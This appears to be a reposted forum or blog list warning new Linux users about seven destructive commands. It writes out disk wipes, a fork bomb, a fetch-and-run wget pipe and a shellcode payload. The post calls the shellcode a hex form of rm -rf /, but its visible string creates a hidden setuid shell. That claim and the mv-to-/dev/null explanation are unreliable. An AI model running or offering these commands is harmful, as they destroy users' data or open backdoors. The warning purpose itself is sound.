If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
3. Code:
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
4. Code:
:(){:|:&};:
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
5. Code:
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn’t exist; hence you will never ever see those files again.
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.
ref : http://www.junauza.com/2008/11/7-deadly-linux-commands.html